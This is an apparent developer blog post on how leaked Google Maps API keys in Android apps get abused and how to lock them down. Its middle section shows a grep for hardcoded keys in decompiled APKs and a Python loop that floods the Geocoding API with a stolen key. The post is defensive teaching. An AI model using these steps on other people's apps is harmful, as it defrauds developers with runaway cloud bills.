It’s a scenario that gives developers nightmares. You check your email and see a billing alert from Google Cloud. You open it, and your heart sinks. A service that usually costs you a few dollars a month has a bill for hundreds, maybe even thousands, of dollars.
How did this happen? The answer is almost always the same: a leaked API key. You might think your small app isn't a target, but you'd be wrong. Attackers are constantly scanning for this low-hanging fruit, and they've automated the entire process of finding and exploiting your secrets.
The Attacker's Playbook: From Play Store to Profit
This isn't a complex, Mission: Impossible-style hack. It's a simple, repeatable process that anyone can perform with free tools.
Step 1: Reconnaissance - Finding a Target
Attackers don't target you personally. They search for app categories that commonly use paid APIs. Think about it: if you search the Play Store for "map apps" or "hotel booking," a huge percentage of them use the Google Maps API. The same goes for apps using Mapbox or other location services.
They download dozens of these apps and move to the next step.
Step 2: Extraction - Decompiling the APK
Using a tool like Jadx or apktool, an attacker can decompile your APK back into semi-readable source code in seconds. Once they have the code, they don't need to understand your app's logic. They just need to search for one thing: the key.
A simple command-line search is all it takes:
Searching for a Google API Key in Decompiled Code# The 'AIza' prefix is a dead giveaway for a Google API key
grep -r "AIza" /path/to/decompiled/source/code
If you've hardcoded your key, this command will instantly reveal it.
Step 3: Automation - Racking Up the Bill
This is where the real damage happens. The attacker doesn't use your key manually. They plug it into an automated script designed to make thousands of requests to the most expensive API endpoints.
Here’s a realistic Python script that an attacker might use. This script hammers the Geocoding API, which can cost around $5.00 per 1000 requests. It's designed to run on multiple cloud servers for hours on end.
Attacker's Python Script to Abuse an API Key
import time
import random
import requests
API_KEY = "your_api_key_here"
BASE_URL = "https://maps.googleapis.com/maps/api/geocode/json"
requests_made = 0
start_time = time.time()
while time.time() - start_time < 36000:
try:
lat = random.uniform(-90, 90)
lng = random.uniform(-180, 180)
params = {
"latlng": f"{lat},{lng}",
"key": API_KEY
}
response = requests.get(BASE_URL, params=params)
requests_made += 1
if requests_made % 100 == 0:
print(f"[{int(time.time() - start_time)}s] Requests made: {requests_made}")
except Exception as e:
print(f"An error occurred: {e}")
time.sleep(5)
print(f"--- Attack finished. Total requests: {requests_made} ---")
Your Two Layers of Defense
The good news is that protecting yourself is straightforward. You just need to be diligent.
Defense Layer 1: Secure Your Code
As we covered in our previous post, never hardcode keys. Use the local.properties
and buildConfigField
method to inject keys at build time. This is your first and most important line of defense.
Defense Layer 2: Secure Your GCP Console
Even if a key does leak, you can render it useless by applying restrictions in the Google Cloud Console. This is non-negotiable.
- Go to your GCP Console -> APIs & Services -> Credentials.
- Select the API key you're using.
- Under Application restrictions, select "Android apps".
- Click "Add an item" and enter your app's package name and SHA-1 certificate fingerprint.
By doing this, you are telling Google, "Only accept requests using this key if they come from my specific, signed Android app." The attacker's Python script will now be blocked, as its requests won't be signed with your app's certificate.
Additionally, under API restrictions, you should restrict the key to only be able to use the specific APIs it needs (e.g., "Geocoding API" and "Maps SDK for Android").
Don't become another horror story. Take 15 minutes right now to check your code for hardcoded keys and, more importantly, lock down your keys in the GCP console. Your wallet will thank you.